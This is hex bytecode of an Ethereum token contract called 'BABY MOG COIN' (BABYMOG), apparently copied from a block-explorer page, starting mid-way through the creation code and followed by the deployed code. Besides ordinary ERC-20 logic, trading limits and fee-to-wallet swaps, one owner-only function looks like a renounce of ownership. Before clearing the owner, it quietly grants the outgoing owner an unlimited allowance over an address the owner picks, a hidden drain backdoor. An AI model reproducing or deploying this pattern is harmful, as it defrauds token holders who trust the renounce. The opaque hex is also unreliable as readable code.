576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e690612e10565b60405180910390fd5b6112f7610d0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113655750611335610d0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166f57600360149054906101000a900460ff166113f457611386610d0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea90612ea2565b60405180910390fd5b5b600d54811115611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612f0e565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146114e657600e548161149b84610b5a565b6114a59190612f2e565b106114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612fd4565b60405180910390fd5b5b60006114f130610b5a565b90506000600f548210159050600d54821061150c57600d5491505b8080156115265750600360159054906101000a900460ff16155b80156115805750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115985750600360169054906101000a900460ff165b80156115ee5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116445750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561166c5761165282611a42565b6000479050600081111561166a5761166981611cbb565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117165750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117c95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117c85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156117d7576000905061195e565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118825750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561189a57600854600b819055506009546011819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119455750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561195d57600a54600b81905550600c546011819055505b5b61196a84848484611dad565b50505050565b60008383111582906119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af9190612591565b60405180910390fd5b50600083856119c79190612ff4565b9050809150509392505050565b6000601054821115611a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a129061309a565b60405180910390fd5b6000611a25611dda565b9050611a3a8184611e0590919063ffffffff16565b915050919050565b6001600360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a7a57611a796130ba565b5b604051908082528060200260200182016040528015611aa85781602001602082028036833780820191505090505b5090503081600081518110611ac057611abf612a1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8b91906130fe565b81600181518110611b9f57611b9e612a1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c0630600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611005565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f7355b48360008430426040518663ffffffff1660e01b8152600401611c6a959493929190613224565b600060405180830381600087803b158015611c8457600080fd5b505af1158015611c98573d6000803e3d6000fd5b50505050506000600360156101000a81548160ff02191690831515021790555050565b6000600282611cca91906132ad565b9050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d34573d6000803e3d6000fd5b50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8284611d7d9190612ff4565b9081150290604051600060405180830381858888f19350505050158015611da8573d6000803e3d6000fd5b505050565b80611dbb57611dba611e4f565b5b611dc6848484611e8c565b80611dd457611dd3612057565b5b50505050565b6000806000611de761206b565b91509150611dfe8183611e0590919063ffffffff16565b9250505090565b6000611e4783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ca565b905092915050565b6000600b54148015611e6357506000601154145b611e8a57600b546012819055506011546013819055506000600b8190555060006011819055505b565b600080600080600080611e9e8761212d565b955095509550955095509550611efc86600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219590919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9185600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fdd8161223d565b611fe784836122fa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161204491906124e6565b60405180910390a3505050505050505050565b601254600b81905550601354601181905550565b600080600060105490506000670de0b6b3a7640000905061209f670de0b6b3a7640000601054611e0590919063ffffffff16565b8210156120bd57601054670de0b6b3a76400009350935050506120c6565b81819350935050505b9091565b60008083118290612111576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121089190612591565b60405180910390fd5b506000838561212091906132ad565b9050809150509392505050565b600080600080600080600080600061214a8a600b54601154612334565b925092509250600061215a611dda565b9050600080600061216d8e8787876123ca565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611970565b905092915050565b60008082846121ee9190612f2e565b905083811015612233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222a9061332a565b60405180910390fd5b8091505092915050565b6000612247611dda565b9050600061225e828461245390919063ffffffff16565b90506122b281600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61230f8260105461219590919063ffffffff16565b60108190555061232a816007546121df90919063ffffffff16565b6007819055505050565b6000806000806123606064612352888a61245390919063ffffffff16565b611e0590919063ffffffff16565b9050600061238a606461237c888b61245390919063ffffffff16565b611e0590919063ffffffff16565b905060006123b3826123a5858c61219590919063ffffffff16565b61219590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123e3858961245390919063ffffffff16565b905060006123fa868961245390919063ffffffff16565b90506000612411878961245390919063ffffffff16565b9050600061243a8261242c858761219590919063ffffffff16565b61219590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361246557600090506124c7565b60008284612473919061334a565b905082848261248291906132ad565b146124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b9906133fe565b60405180910390fd5b809150505b92915050565b6000819050919050565b6124e0816124cd565b82525050565b60006020820190506124fb60008301846124d7565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561253b578082015181840152602081019050612520565b60008484015250505050565b6000601f19601f8301169050919050565b600061256382612501565b61256d818561250c565b935061257d81856020860161251d565b61258681612547565b840191505092915050565b600060208201905081810360008301526125ab8184612558565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125e8826125bd565b9050919050565b6125f8816125dd565b811461260357600080fd5b50565b600081359050612615816125ef565b92915050565b612624816124cd565b811461262f57600080fd5b50565b6000813590506126418161261b565b92915050565b6000806040838503121561265e5761265d6125b3565b5b600061266c85828601612606565b925050602061267d85828601612632565b9150509250929050565b60008115159050919050565b61269c81612687565b82525050565b60006020820190506126b76000830184612693565b92915050565b6000819050919050565b60006126e26126dd6126d8846125bd565b6126bd565b6125bd565b9050919050565b60006126f4826126c7565b9050919050565b6000612706826126e9565b9050919050565b612716816126fb565b82525050565b6000602082019050612731600083018461270d565b92915050565b6000806000606084860312156127505761274f6125b3565b5b600061275e86828701612606565b935050602061276f86828701612606565b925050604061278086828701612632565b9150509250925092565b600060ff82169050919050565b6127a08161278a565b82525050565b60006020820190506127bb6000830184612797565b92915050565b6000602082840312156127d7576127d66125b3565b5b60006127e584828501612606565b91505092915050565b6127f7816125dd565b82525050565b600060208201905061281260008301846127ee565b92915050565b60006020828403121561282e5761282d6125b3565b5b600061283c84828501612632565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261286a57612869612845565b5b8235905067ffffffffffffffff8111156128875761288661284a565b5b6020830191508360208202830111156128a3576128a261284f565b5b9250929050565b6128b381612687565b81146128be57600080fd5b50565b6000813590506128d0816128aa565b92915050565b6000806000604084860312156128ef576128ee6125b3565b5b600084013567ffffffffffffffff81111561290d5761290c6125b8565b5b61291986828701612854565b9350935050602061292c868287016128c1565b9150509250925092565b6000612941826125bd565b9050919050565b61295181612936565b82525050565b600060208201905061296c6000830184612948565b92915050565b60008060408385031215612989576129886125b3565b5b600061299785828601612606565b92505060206129a885828601612606565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129e860208361250c565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a87826124cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ab957612ab8612a4d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612b2060268361250c565b9150612b2b82612ac4565b604082019050919050565b60006020820190508181036000830152612b4f81612b13565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612bb260248361250c565b9150612bbd82612b56565b604082019050919050565b60006020820190508181036000830152612be181612ba5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c4460228361250c565b9150612c4f82612be8565b604082019050919050565b60006020820190508181036000830152612c7381612c37565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612cd660258361250c565b9150612ce182612c7a565b604082019050919050565b60006020820190508181036000830152612d0581612cc9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d6860238361250c565b9150612d7382612d0c565b604082019050919050565b60006020820190508181036000830152612d9781612d5b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612dfa60298361250c565b9150612e0582612d9e565b604082019050919050565b60006020820190508181036000830152612e2981612ded565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612e8c603f8361250c565b9150612e9782612e30565b604082019050919050565b60006020820190508181036000830152612ebb81612e7f565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612ef8601c8361250c565b9150612f0382612ec2565b602082019050919050565b60006020820190508181036000830152612f2781612eeb565b9050919050565b6000612f39826124cd565b9150612f44836124cd565b9250828201905080821115612f5c57612f5b612a4d565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612fbe60238361250c565b9150612fc982612f62565b604082019050919050565b60006020820190508181036000830152612fed81612fb1565b9050919050565b6000612fff826124cd565b915061300a836124cd565b925082820390508181111561302257613021612a4d565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613084602a8361250c565b915061308f82613028565b604082019050919050565b600060208201905081810360008301526130b381613077565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506130f8816125ef565b92915050565b600060208284031215613114576131136125b3565b5b6000613122848285016130e9565b91505092915050565b6000819050919050565b600061315061314b6131468461312b565b6126bd565b6124cd565b9050919050565b61316081613135565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61319b816125dd565b82525050565b60006131ad8383613192565b60208301905092915050565b6000602082019050919050565b60006131d182613166565b6131db8185613171565b93506131e683613182565b8060005b838110156132175781516131fe88826131a1565b9750613209836131b9565b9250506001810190506131ea565b5085935050505092915050565b600060a08201905061323960008301886124d7565b6132466020830187613157565b818103604083015261325881866131c6565b905061326760608301856127ee565b61327460808301846124d7565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132b8826124cd565b91506132c3836124cd565b9250826132d3576132d261327e565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613314601b8361250c565b915061331f826132de565b602082019050919050565b6000602082019050818103600083015261334381613307565b9050919050565b6000613355826124cd565b9150613360836124cd565b925082820261336e816124cd565b9150828204841483151761338557613384612a4d565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133e860218361250c565b91506133f38261338c565b604082019050919050565b60006020820190508181036000830152613417816133db565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ac609e46fbacea526f9c35faf6a8c43bf17e90f151ac1c53c4d44c722397b3864736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80634bf28fd0116100b65780638da5cb5b1161006f5780638da5cb5b1461044557806395d89b4114610470578063988cf8011461049b578063a9059cbb146104c6578063dd62ed3e14610503578063f2fde38b146105405761014b565b80634bf28fd0146103375780634f473db014610362578063640bd1e01461038b57806370a08231146103b457806383364ea2146103f15780638adb60931461041a5761014b565b806318160ddd1161010857806318160ddd1461023957806323b872dd146102645780632fae7937146102a1578063313ce567146102b857806338bf3cfa146102e35780633d8af5f21461030c5761014b565b8063039cc7491461015057806304d6d79e1461017b57806306fdde03146101a6578063095ea7b3146101d15780631694505e1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610569565b60405161017291906124e6565b60405180910390f35b34801561018757600080fd5b5061019061056f565b60405161019d91906124e6565b60405180910390f35b3480156101b257600080fd5b506101bb610575565b6040516101c89190612591565b60405180910390f35b3480156101dd57600080fd5b506101f860048036038101906101f39190612647565b6105b2565b60405161020591906126a2565b60405180910390f35b34801561021a57600080fd5b506102236105d0565b604051610230919061271c565b60405180910390f35b34801561024557600080fd5b5061024e6105f6565b60405161025b91906124e6565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190612737565b610606565b60405161029891906126a2565b60405180910390f35b3480156102ad57600080fd5b506102b66106df565b005b3480156102c457600080fd5b506102cd610794565b6040516102da91906127a6565b60405180910390f35b3480156102ef57600080fd5b5061030a600480360381019061030591906127c1565b61079d565b005b34801561031857600080fd5b5061032161099b565b60405161032e91906124e6565b60405180910390f35b34801561034357600080fd5b5061034c6109a1565b60405161035991906127fd565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190612818565b6109c7565b005b34801561039757600080fd5b506103b260048036038101906103ad91906127c1565b610a66565b005b3480156103c057600080fd5b506103db60048036038101906103d691906127c1565b610b5a565b6040516103e891906124e6565b60405180910390f35b3480156103fd57600080fd5b50610418600480360381019061041391906128d6565b610bab565b005b34801561042657600080fd5b5061042f610ce5565b60405161043c9190612957565b60405180910390f35b34801561045157600080fd5b5061045a610d0b565b60405161046791906127fd565b60405180910390f35b34801561047c57600080fd5b50610485610d34565b6040516104929190612591565b60405180910390f35b3480156104a757600080fd5b506104b0610d71565b6040516104bd9190612957565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612647565b610d97565b6040516104fa91906126a2565b60405180910390f35b34801561050f57600080fd5b5061052a60048036038101906105259190612972565b610db5565b60405161053791906124e6565b60405180910390f35b34801561054c57600080fd5b50610567600480360381019061056291906127c1565b610e3c565b005b600d5481565b600f5481565b60606040518060400160405280600d81526020017f42414259204d4f4720434f494e00000000000000000000000000000000000000815250905090565b60006105c66105bf610ffd565b8484611005565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006106138484846111ce565b6106d48461061f610ffd565b6106cf8560405180606001604052806028815260200161341f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610685610ffd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119709092919063ffffffff16565b611005565b600190509392505050565b6106e7610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b906129fe565b60405180910390fd5b670de0b6b3a7640000600d81905550670de0b6b3a7640000600e81905550565b60006009905090565b6107a5610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610829906129fe565b60405180910390fd5b6000819050600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600019600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600e5481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109cf610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906129fe565b60405180910390fd5b80600f8190555050565b610a6e610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af2906129fe565b60405180910390fd5b6001600360146101000a81548160ff02191690831515021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610ba4600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d4565b9050919050565b610bb3610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906129fe565b60405180910390fd5b60005b83839050811015610cdf578160046000868685818110610c6657610c65612a1e565b5b9050602002016020810190610c7b91906127c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cd790612a7c565b915050610c43565b50505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f424142594d4f4700000000000000000000000000000000000000000000000000815250905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610dab610da4610ffd565b84846111ce565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e44610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec8906129fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790612b36565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612bc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da90612c5a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c191906124e6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123490612cec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612d7e565b60405180910390fd5b600081116112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e690612e10565b60405180910390fd5b6112f7610d0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113655750611335610d0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166f57600360149054906101000a900460ff166113f457611386610d0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea90612ea2565b60405180910390fd5b5b600d54811115611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612f0e565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146114e657600e548161149b84610b5a565b6114a59190612f2e565b106114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612fd4565b60405180910390fd5b5b60006114f130610b5a565b90506000600f548210159050600d54821061150c57600d5491505b8080156115265750600360159054906101000a900460ff16155b80156115805750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115985750600360169054906101000a900460ff165b80156115ee5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116445750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561166c5761165282611a42565b6000479050600081111561166a5761166981611cbb565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117165750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117c95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117c85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156117d7576000905061195e565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118825750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561189a57600854600b819055506009546011819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119455750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561195d57600a54600b81905550600c546011819055505b5b61196a84848484611dad565b50505050565b60008383111582906119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af9190612591565b60405180910390fd5b50600083856119c79190612ff4565b9050809150509392505050565b6000601054821115611a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a129061309a565b60405180910390fd5b6000611a25611dda565b9050611a3a8184611e0590919063ffffffff16565b915050919050565b6001600360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a7a57611a796130ba565b5b604051908082528060200260200182016040528015611aa85781602001602082028036833780820191505090505b5090503081600081518110611ac057611abf612a1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8b91906130fe565b81600181518110611b9f57611b9e612a1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c0630600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611005565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f7355b48360008430426040518663ffffffff1660e01b8152600401611c6a959493929190613224565b600060405180830381600087803b158015611c8457600080fd5b505af1158015611c98573d6000803e3d6000fd5b50505050506000600360156101000a81548160ff02191690831515021790555050565b6000600282611cca91906132ad565b9050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d34573d6000803e3d6000fd5b50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8284611d7d9190612ff4565b9081150290604051600060405180830381858888f19350505050158015611da8573d6000803e3d6000fd5b505050565b80611dbb57611dba611e4f565b5b611dc6848484611e8c565b80611dd457611dd3612057565b5b50505050565b6000806000611de761206b565b91509150611dfe8183611e0590919063ffffffff16565b9250505090565b6000611e4783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ca565b905092915050565b6000600b54148015611e6357506000601154145b611e8a57600b546012819055506011546013819055506000600b8190555060006011819055505b565b600080600080600080611e9e8761212d565b955095509550955095509550611efc86600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219590919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673